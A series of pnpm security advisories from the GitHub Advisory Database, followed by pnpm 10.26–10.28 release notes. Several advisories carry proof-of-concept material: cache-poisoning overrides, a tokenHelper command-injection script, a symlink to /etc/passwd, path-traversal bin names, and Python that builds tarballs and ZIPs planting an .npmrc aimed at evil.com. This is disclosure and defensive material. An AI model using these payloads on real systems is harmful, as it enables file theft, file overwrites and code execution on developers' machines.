Details

Summary

pnpm seems to mishandle overrides and global cache:

1. Overrides from one workspace leak into npm metadata saved in global cache
2. npm metadata from global cache affects other workspaces
3. installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

1. Remove store and cache
   On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store
   This step is not required in general, but we'll be using a popular package for PoC that's likely cached
2. Create A/package.json:

   {
     "name": "A",
     "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
     "dependencies": { "rimraf": "6.0.1" }
   }

   Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)
3. Create B/package.json:

   {
     "name": "B",
     "dependencies": { "rimraf": "6.0.1" }
   }

   Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Severity

• CVSS Score: 5.8 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-vm32-9rqf-rh3r
• https://nvd.nist.gov/vuln/detail/CVE-2024-53866
• https://github.com/pnpm/pnpm/commit/11afcddea48f25ed5117a87dc1780a55222b9743
• https://github.com/advisories/GHSA-vm32-9rqf-rh3r

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

• Package: pnpm
• Versions: All versions using @pnpm/config.env-replace and loadToken functionality
• File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
• File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

1. Environment Variable Substitution

   • .npmrc supports ${VAR} syntax
   • Substitution occurs in readLocalConfig()

2. loadToken Execution

   • Uses spawnSync(helperPath, { shell: true })
   • Only validates absolute path existence

3. Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

• Private npm registry access
• Control over environment variables
• Ability to place scripts in filesystem

PoC Steps

##### 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

##### 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

##### 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

##### 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

##### 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

• CVSS Score: 7.6 (High)
• CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

• CI/CD pipelines (GitHub Actions, GitLab CI)
• Docker build environments
• Kubernetes deployments
• Private registry users

Low Risk:

• Public registry only
• Production runtime (no pnpm execution)
• Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

##### .npmrc
##### registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

• Review CI/CD env vars
• Restrict .npmrc changes
• Monitor build logs

Recommended Fixes

1. Remove shell: true from loadToken
2. Implement helper path allowlist
3. Validate substituted paths
4. Consider sandboxing

Disclosure

• Discovery: 2025-11-02
• PoC: 2025-11-02
• Report: [Pending disclosure decision]

References

• Repository: https://github.com/pnpm/pnpm
• Affected: @pnpm/config.env-replace@^3.0.2
• Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang
Contact: sy2n0@​naver.com

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx
• https://nvd.nist.gov/vuln/detail/CVE-2025-69262
• https://github.com/pnpm/pnpm/releases/tag/v10.27.0
• https://github.com/advisories/GHSA-2phv-j68v-wwqx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects:

• HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz")
• Git shorthand dependencies ("pkg": "github:user/repo")
• Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes:

• A server that returns different tarball content on each request
• A malicious-package that depends on the HTTP tarball
• A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

• Targeted attacks based on request metadata (IP, headers, timing)
• Evasion of security audits (serve benign code during review, malicious code later)
• Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-7vhp-vf5g-r2fw
• https://nvd.nist.gov/vuln/detail/CVE-2025-69263
• https://github.com/pnpm/pnpm/commit/0958027f88a99ccefe7e9676cdebba393dfbdc85
• https://github.com/advisories/GHSA-7vhp-vf5g-r2fw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

##### Leaked!
cat node_modules/evil/leaked-passwd.txt

Impact

• Developers installing local/file dependencies
• CI/CD pipelines installing git dependencies
• Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa

Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity

• CVSS Score: 6.7 / 10 (Medium)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw
• https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f
• https://github.com/pnpm/pnpm/releases/tag/v10.28.2
• https://nvd.nist.gov/vuln/detail/CVE-2026-24056
• https://github.com/advisories/GHSA-m733-5w8f-5ggw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@​' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @​scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC

1. Create a malicious package:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@​scope/../../.npmrc": "./malicious.js"
  }
}

2. Install the package:

pnpm add /path/to/malicious-pkg

3. Observe .npmrc created in project root (outside node_modules/.bin).

Impact

• All pnpm users who install npm packages
• CI/CD pipelines using pnpm
• Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h
• https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d
• https://github.com/pnpm/pnpm/releases/tag/v10.28.1
• https://nvd.nist.gov/vuln/detail/CVE-2026-23890
• https://github.com/advisories/GHSA-xpqm-wm3m-f34h

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

• On Unix: Backslashes are literal filename characters (safe)
• On Windows: Backslashes are directory separators (exploitable)

PoC

1. Create a malicious tarball with entry package/foo\..\..\.npmrc
2. Host it or use as a tarball URL dependency
3. On Windows: pnpm install
4. Observe .npmrc written outside package directory

import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

• Windows pnpm users
• Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
• Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p
• https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0
• https://github.com/pnpm/pnpm/releases/tag/v10.28.1
• https://nvd.nist.gov/vuln/detail/CVE-2026-23889
• https://github.com/advisories/GHSA-6x96-7vc8-cm3p

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

##### Install
pnpm add file:/tmp/malicious-pkg

##### Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

• Supply-chain attack via npm packages
• File permissions changed from 600 to 755 (world-readable)
• Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

• CVSS Score: 6.7 / 10 (Medium)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq
• https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943
• https://github.com/pnpm/pnpm/releases/tag/v10.28.2
• https://github.com/advisories/GHSA-v253-rj99-jwpq

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

• All pnpm users who install packages with binary assets
• Users who configure custom Node.js binary locations
• CI/CD pipelines that auto-install binary dependencies
• Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868
• https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5
• https://github.com/pnpm/pnpm/releases/tag/v10.28.1
• https://nvd.nist.gov/vuln/detail/CVE-2026-23888
• https://github.com/advisories/GHSA-6pfh-p556-v868

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

v10.28.2: pnpm 10.28.2

Compare Source

Patch Changes

• Security fix: prevent path traversal in directories.bin field.

• When pnpm installs a file: or git: dependency, it now validates that symlinks point within the package directory. Symlinks to paths outside the package root are skipped to prevent local data from being leaked into node_modules.

  This fixes a security issue where a malicious package could create symlinks to sensitive files (e.g., /etc/passwd, ~/.ssh/id_rsa) and have their contents copied when the package is installed.

  Note: This only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are not affected.

• Fixed optional dependencies to request full metadata from the registry to get the libc field, which is required for proper platform compatibility checks #​9950.

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v10.28.1: pnpm 10.28.1

Compare Source

Patch Changes

• Fixed installation of config dependencies from private registries.

  Added support for object type in configDependencies when the tarball URL returned from package metadata differs from the computed URL #​10431.

• Fix path traversal vulnerability in binary fetcher ZIP extraction

  • Validate ZIP entry paths before extraction to prevent writing files outside target directory
  • Validate BinaryResolution.prefix (basename) to prevent directory escape via crafted prefix
  • Both attack vectors now throw ERR_PNPM_PATH_TRAVERSAL error

• Support plain http:// and https:// URLs ending with .git as git repository dependencies.

  Previously, URLs like https://gitea.example.org/user/repo.git#commit were not recognized as git repositories because they lacked the git+ prefix (e.g., git+https://). This caused issues when installing dependencies from self-hosted git servers like Gitea or Forgejo that don't provide tarball downloads.

  Changes:

  • The git resolver now runs before the tarball resolver, ensuring git URLs are handled by the correct resolver
  • The git resolver now recognizes plain http:// and https:// URLs ending in .git as git repositories
  • Removed the isRepository check from the tarball resolver since it's no longer needed with the new resolver order

  Fixes #​10468

• pnpm run -r and pnpm run --filter now fail with a non-zero exit code when no packages have the specified script. Previously, this only failed when all packages were selected. Use --if-present to suppress this error #​6844.

• Fixed a path traversal vulnerability in tarball extraction on Windows. The path normalization was only checking for ./ but not .\. Since backslashes are directory separators on Windows, malicious packages could use paths like foo\..\..\.npmrc to write files outside the package directory.

• When running "pnpm exec" from a subdirectory of a project, don't change the current working directory to the root of the project #​5759.

• Fixed a path traversal vulnerability in pnpm's bin linking. Bin names starting with @ bypassed validation, and after scope normalization, path traversal sequences like ../../ remained intact.

• Revert Try to avoid making network calls with preferOffline #​10334.

• Fix --save-peer to write valid semver ranges to peerDependencies for protocol-based installs (e.g. jsr:) by deriving from resolved versions when available and falling back to * if none is available #​10417.

• Do not exclude the root workspace project, when it is explicitly selected via a filter #​10465.

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v10.28.0: pnpm 10.28

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Minor Changes

• Add support for a hook called beforePacking that can be used to customize the package.json contents at publish time #​3816.
• In some cases, a filtered install (i.e. pnpm install --filter ...) was slower than running pnpm install without any filter arguments. This performance regression is now fixed. Filtered installs should be as fast or faster than a full install #​10408.

Patch Changes

• Do not add a symlink to the project into the store's project registry if the store is in a subdirectory of the project #​10411.
• It should be possible to declare the requiredScripts setting in pnpm-workspace.yaml #​10261.

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v10.27.0: pnpm 10.27

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Minor Changes

• Adding trustPolicyIgnoreAfter allows you to ignore trust policy checks for packages published more than a specified time ago#​10352.

• Added project registry for global virtual store prune support.

  Projects using the store are now registered via symlinks in {storeDir}/v10/projects/. This enables pnpm store prune to track which packages are still in use by active projects and safely remove unused packages from the global virtual store.

• Semi-breaking. Changed the location of unscoped packages in the virtual global store. They will now be stored under a directory named @ to maintain a uniform 4-level directory depth.

• Added mark-and-sweep garbage collection for global virtual store.

  pnpm store prune now removes unused packages from the global virtual store's links/ directory. The algorithm:

  1. Scans all registered projects for symlinks pointing to the store
  2. Walks transitive dependencies to mark reachable packages
  3. Removes any package directories not marked as reachable

  This includes support for workspace monorepos - all node_modules directories within a project (including those in workspace packages) are scanned.

Patch Changes

• Throw an error if the value of the tokenHelper or <url>:tokenHelper setting contains an environment variable.
• Git dependencies with build scripts should respect the dangerouslyAllowAllBuilds settings #​10376.
• Skip the package manager check when running with --global and a project packageManager is configured, and warn that the check is skipped.
• pnpm store prune should not fail if the dlx cache directory has files, not only directories #​10384
• Fixed a bug (#​9759) where pnpm add would incorrectly modify a catalog entry in pnpm-workspace.yaml to its exact version.

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v10.26.2: pnpm 10.26.2

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Patch Changes

• Improve error message when a package version exists but does not meet the minimumReleaseAge constraint. The error now clearly states that the version exists and shows a human-readable time since release (e.g., "released 6 hours ago") #​10307.

• Fix installation of Git dependencies using annotated tags #​10335.

  Previously, pnpm would store the annotated tag object's SHA in the lockfile instead of the actual commit SHA. This caused ERR_PNPM_GIT_CHECKOUT_FAILED errors because the checked-out commit hash didn't match the stored tag object hash.

• Binaries of runtime engines (Node.js, Deno, Bun) are written to node_modules/.bin before lifecycle scripts (install, postinstall, prepare) are executed #​10244.

• Try to avoid making network calls with preferOffline #​10334.

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v10.26.1: pnpm 10.26.1

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Patch Changes

• Don't fail on pnpm add, when blockExoticSubdeps is set to true #​10324.
• Always resolve git references to full commits and ensure HEAD points to the commit after checkout #​10310.

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v10.26.0: pnpm 10.26

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Minor Changes

• Semi-breaking. Block git-hosted dependencies from running prepare scripts unless explicitly allowed in onlyBuiltDependencies #​10288.

• Semi-breaking. Compute integrity hash for HTTP tarball dependencies when fetching, storing it in the lockfile to prevent servers from serving altered content on subsequent installs #​10287.

• Added a new setting blockExoticSubdeps that prevents the resolution of exotic protocols in transitive dependencies.

  When set to true, direct dependencies (those listed in your root package.json) may still use exotic sources, but all transitive dependencies must be resolved from a trusted source. Trusted sources include the configured registry, local file paths, workspace links, trusted GitHub repositories (node, bun, deno), and custom resolvers.

  This helps to secure the dependency supply chain. Packages from trusted sources are considered safer, as they are typically subject to more reliable verification and scanning for malware and vulnerabilities.

  Exotic sources are dependency locations that bypass the usual trusted resolution process. These protocols are specifically targeted and blocked: Git repositories (git+ssh://...) and direct URL links to tarballs (https://.../package.tgz).

  Related PR: #​10265.

• Added support for allowBuilds, which is a new field that can be used instead of onlyBuiltDependencies and ignoredBuiltDependencies. The new allowBuilds field in your pnpm-workspace.yaml uses a map of package matchers to explicitly allow (true) or disallow (false) script execution. This allows for a single, easy-to-manage source of truth for your build

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